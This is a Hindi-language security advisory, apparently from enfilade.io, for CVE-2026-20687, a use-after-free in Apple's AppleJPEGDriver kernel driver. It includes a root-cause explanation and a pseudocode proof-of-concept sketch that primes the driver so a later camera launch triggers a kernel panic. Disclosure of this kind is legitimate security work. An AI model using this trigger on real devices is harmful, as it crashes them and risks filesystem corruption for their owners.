
CVE-2026-20687: AppleJPEGDriver startDecoder टाइमआउट UAF — iOS/macOS कर्नेल भेद्यता जो विलंबित पैनिक (A19 Pro, iOS 26.3 RC) की ओर ले जाती है
CVE-2026-20687 · Enfilade · enfilade.io
घटक: कर्नेल
प्रभाव: कोई ऐप अप्रत्याशित सिस्टम समाप्ति या कर्नेल मेमोरी लेखन का कारण बन सकता है।
विवरण: बेहतर मेमोरी प्रबंधन के साथ एक उपयोग-के-बाद-मुक्त (use after free) समस्या का समाधान किया गया।
| iOS | 26.3 (23D125) (परीक्षित) |
| macOS | — |
| घटक | AppleJPEGDriver |
| पैच किया गया | iOS 26.4 / iPadOS 26.4 |
| हार्डवेयर | iPhone18,2 (iPhone 17 Pro Max, A19 Pro) |
PoC चलाने से डिवाइस कर्नेल-पैनिक हो जाएगा। चलाने से पहले अपना काम सहेज लें। बार-बार पैनिक होने से फाइलसिस्टम भ्रष्टाचार हो सकता है। केवल सुरक्षा अनुसंधान उद्देश्यों के लिए।
startDecoder_sync में टाइमआउट पथ एक अनुरोध को मुक्त करता है लेकिन उसका एम्बेडेड क्यू-नोड पॉइंटर प्रति-कोडेक वेक्टर में छोड़ देता है। बाद में क्यू वॉक स्टेल नोड को डीरेफरेंस करता है और MTE टैग-जांच प्रवर्तन के तहत कर्नेल पैनिक हो जाता है। पैनिक आमतौर पर बाद के सिंक्रोनस JPEG डिकोड चलने तक विलंबित होता है — iPhone पर यह विश्वसनीय रूप से तब होता है जब कैमरा ऐप खोला जाता है।
// ड्राइवर को प्राइम करता है; पैनिक आमतौर पर कैमरा खोलने तक विलंबित होता है।
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);
// बाद में, कैमरा खोलने से ट्रिगर होता है:
startDecoder_sync();
queue_io_gated: vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: डीक्यू नहीं करता (req + 0x78)
// और बाद में (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // स्टेल: node_ptr == (मुक्त req + 0x78)
req2 = *(node_ptr + 0x8); // UAF रीड -> MTE टैग फॉल्ट -> पैनिक
ios-app/Test.xcodeproj खोलें।LICENSE देखें।